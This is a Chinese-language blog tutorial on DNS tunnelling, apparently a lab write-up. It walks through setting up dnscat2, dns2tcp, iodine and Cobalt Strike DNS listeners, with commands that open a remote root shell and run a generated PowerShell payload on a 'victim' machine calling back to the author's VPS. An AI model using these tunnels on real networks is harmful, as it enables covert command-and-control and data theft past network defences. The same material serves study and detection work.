隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包,隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息,从而使封装的负载数据能够通过互联网络传递。
而DNS隧道即是将需要传送的数据分割后重新封装,经由DNS协议在网络中传输,客户端和服务器端重新把数据提取出来。

0x01 DNS隧道模式

DNS隧道有两种模式:直连和中继模式。这两种模式都是为了将客户端请求的dns流量打到服务端,所以服务端被伪造成dns服务器,客户端查询dns各种资源记录时,便会把流量打到服务端。
直连模式,就是在客户端已经指定好了该域名的NS服务器,客户端直接向服务端发包。优点是速度快,但隐蔽性弱,因为会发起向外网ip请求dns的动作,并且这个ip还不是公用dns服务器。
中继模式,便是在域名商设置好该域名的NS服务器,经由递归查询和迭代查询,将流量打到服务端。从客户端这一侧流量看,dns请求只是到上一层dns服务器,隐蔽性更好,但是由于经过递归和迭代,速度较慢,又由于udp为不可靠传输,可能丢包严重。

0x02 实验准备

本实验主要测试中继模式,所以要在域名商那里先配一下子域名的NS记录,把子域名的NS记录指向自己的VPS。
例如本人配的子域名为:dnsc2.ailoli.vip,即所有查询xxxx.dnsc2.ailoli.vip的流量都会到达自己设定的NS服务器。
Snipaste_2019-12-21_21-46-33.png
用dig命令查询一下配置是否正确。

 dig dnsc2.ailoli.vip ns @dns21.hichina.com

发现能返回正确的ns记录,则配置成功。如果返回错误的结果,可能是路由器的dns解析设置chromecast支持了,导致本地的dns无效,强制把dns设置转到路由器上。

0x03 dnscat2

dnscat2项目地址:https://github.com/iagox86/dnscat2
1、服务端安装

# 如果是上面地址直接下载的,则跳过
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2
cd server
sudo gem install bundler
bundle install<script src="https://localhost01.cn/js/jquery-2.0.0.min.js"></script>

2、客户端安装

# 如果是上面地址直接下载的,则跳过
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

3、服务器端监听

cd dnscat2/server
sudo ruby ./dnscat2.rb dnsc2.ailoli.vip --secret=xxxx --security=open --no-cache

4、客户端发送

cd dnscat2/client
./dnscat --secret=xxxx dnsc2.ailoli.vip

5、dns隧道连接成功
当客户端显示Session established!时,说明dns隧道连接成功。
服务器上控制台输入windows,则可看到客户端上线
Snipaste_2019-12-22_00-58-43.png
1表示该客户端ID,如果使用session -i 1,即可进入该通道。具体用法可以查看github。
进入通道后有个对话框,输入help就能显示能执行的命令了。

Here is a list of commands (use -h on any of them for additional help):
* clear
* delay
* download
* echo
* exec
* help
* listen
* ping
* quit
* set
* shell
* shutdown
* suspend
* tunnels
* unset
* upload
* window
* windows
command (localhost.localdomain) 1>

当输入shell后,会有新的session生成,这时候键盘按Ctrl+Z,退出当前session,然后重新选择使用shell的会话session -i 5
Snipaste_2019-12-22_13-19-38.png
进入shell命令的会话后,就可以在服务端远程执行客户端上的shell了。可以看到获得的shell是root权限,因为在客户端使用root权限运行的dnscat进程。
Snipaste_2019-12-22_13-25-20.png
Snipaste_2019-12-22_13-43-57.png
还有exec执行文件、upload上传等命令,具体用法可以看github。
6、dns查询记录
用wireshark抓包分析,dnscat2默认使用MX、CNAME、TXT记录查询。请求包隐藏的真实数据在四级域名中。
Snipaste_2019-12-22_01-05-18.png
而针对该条请求的返回包隐藏的数据分别在返回的TXT、CNAME、Mail Exchange中。
Snipaste_2019-12-22_01-11-38.png
Snipaste_2019-12-22_01-12-25.png
Snipaste_2019-12-22_01-13-09.png

0x04 dns2tcp

dns2tcp是一个使用C语言开发的dns隧道转发TCP连接工具。
kali中内置了dns2tcp,ubuntu的源中也带有dns2tcp。
本次实验用内网kali做客户端,vps上的ubuntu做服务端。
1、服务端安装和配置
ubuntu上执行:

sudo apt-get install dns2tcp

然后编辑/etc/dns2tcpd.conf

listen = 0.0.0.0
port = 53
# If you change this value, also change the USER variable in /etc/default/dns2tcpd
user = nobody
chroot = /tmp
domain = dnsc2.ailoli.vip
resources = ssh:127.0.0.1:62233 , smtp:127.0.0.1:25

因为是vps,所以listen监听0.0.0.0,domain为外网配置好的子域名,resources为本地监听的服务及端口,监听这些端口的流量并且通过dns协议收发。
2、客户端配置
因为实验使用kali,已经安装好了dns2tcp,这里不做论述。如果是ubuntu端也做服务端,直接apt-get install dns2tcp。
windows7的客户端可参考该教程
3、服务端开启监听服务

dns2tcpd -f /etc/dns2tcpd.conf -F -d 2

-F表示前台运行,-d调试信息基本,越低信息越全,-f配置文件
3、客户端连接

dns2tcpc -r ssh -z dnsc2.ailoli.vip 49.235.84.181 -l 66 -d 2

本次实验采取直连模式,指定外网ip,-r为要使用的服务器的哪个资源,-l为监听本地端口,当显示以下情况时,则说明连接好了。
DeepinScrot-5641.png
4、客户端ssh走dns隧道远程连接外网vps

kali中直接连接
ssh 127.0.0.1 -l ubuntu -p 66

-p 代表客户端dns2tcp设置的监听端口,然后就成功连接上了,客户端和服务端两个ssh服务通过dns隧道中转。
DeepinScrot-0245.png
5、dns查询记录
dns2tcp只通过txt记录传递数据。
DeepinScrot-1004.png

0x05 iodine

它将IPv4数据封装到DNS协议中传输,安装部署可以很方便的通过yum或apt-get完成,也可以自行编译安装。
查阅一些博客发现之前需要确认内核是否支持tun/tap,但是我的VPS不支持tun/tap,仍然能建立dns虚拟网卡,猜测目前的版本不需要确认内核的tun/tap了。
1、服务端和客户端安装

apt-get install iodine

2、服务端创建dns虚拟网卡

iodined -f -c -P 123456 10.1.1.1 dnsc2.ailoli.vip
-f 前台显示,运行后一直在命令行等待
-c 调试模式
-P 认证密码
10.1.1.1 自定义局域网虚拟IP
dnsc2.ailoli.vip DNS服务器域名

3、客户端连接dns隧道

iodine -f -P 123456 <dns服务器ip> dnsc2.ailoli.vip

如果加dns服务器ip则是直连模式,不加则是中继模式。
此时,客户端将会新建1个dns虚拟网卡,dns虚拟网卡ip(10.1.1.2)与服务端虚拟的dns网卡ip(10.1.1.1)处于同一网段,相当于局域网了。
ping一下服务端,发现能ping通,说明服务端与客户端处于同一网段。
DeepinScrot-1538.png
4、远程登录服务器
与服务端虚拟dns网卡ip处于同一局域网后,可直接ssh连接虚拟ip,以达到通过dns隧道ssh连接外网主机的目的。
DeepinScrot-1914.png
5、dns查询记录
DNS隧道默认请求类型为NULL。可加-T <type>自定义DNS隧道的查询类型。
DeepinScrot-3059.png

0x06 Cobalt strike

cobalt strike需要三台机器,内网2台:1台作为cobalt strike的客户端,另外一台模拟受害机器;外网:vps1台,作为cobalt strike服务端。
1、生成dns监听器
名字和端口任取,端口最好隐蔽性好点的。payload选择dns,host是cobalt strike服务端ip地址或域名。
DeepinScrot-3938.png
2、添加配置好的子域名
DeepinScrot-4021.png
然后点击确认后,监听器就配置好了。
3、生成攻击payload
在attacks-packages-payload generator中生成关于dns的payload,这里生成powershell command作为演示。
DeepinScrot-1016.png
4、模拟受害机器运行powershell命令
在受害机器上运行cobalt strike客户端生成的powershell命令。
受害机器运行命令后,发现受害机会主动向vps上我们设置好的监听端口进行tcp三次握手,握手后,http协议访问vps的一个路径.
Snipaste_2019-12-26_01-10-44.png
然后vps回传一些加密数据。
Snipaste_2019-12-26_01-12-31.png
TCP挥手断开与vps连接之后才开始使用dns隧道传输数据。
Snipaste_2019-12-26_01-14-45.png
5、cobalt strike客户端显示受害机上线
受害机反弹shell之后,客户端能收到受害机上线的信息,证明dns隧道建立成功。
DeepinScrot-5917.png

参考文档:
https://www.freebuf.com/sectool/112076.html
https://blog.csdn.net/localhost01/article/details/86591685
https://xz.aliyun.com/t/6966#toc-19
https://blog.riskivy.com/%e6%8e%a2%e7%a7%98-%e5%9f%ba%e4%ba%8e%e6%9c%ba%e5%99%a8%e5%ad%a6%e4%b9%a0%e7%9a%84dns%e9%9a%90%e8%94%bd%e9%9a%a7%e9%81%93%e6%a3%80%e6%b5%8b%e6%96%b9%e6%b3%95%e4%b8%8e%e5%ae%9e%e7%8e%b0/
https://klionsec.github.io/2017/12/28/cobalt-strike-dns/
Last modification:March 12th, 2020 at 07:29 pm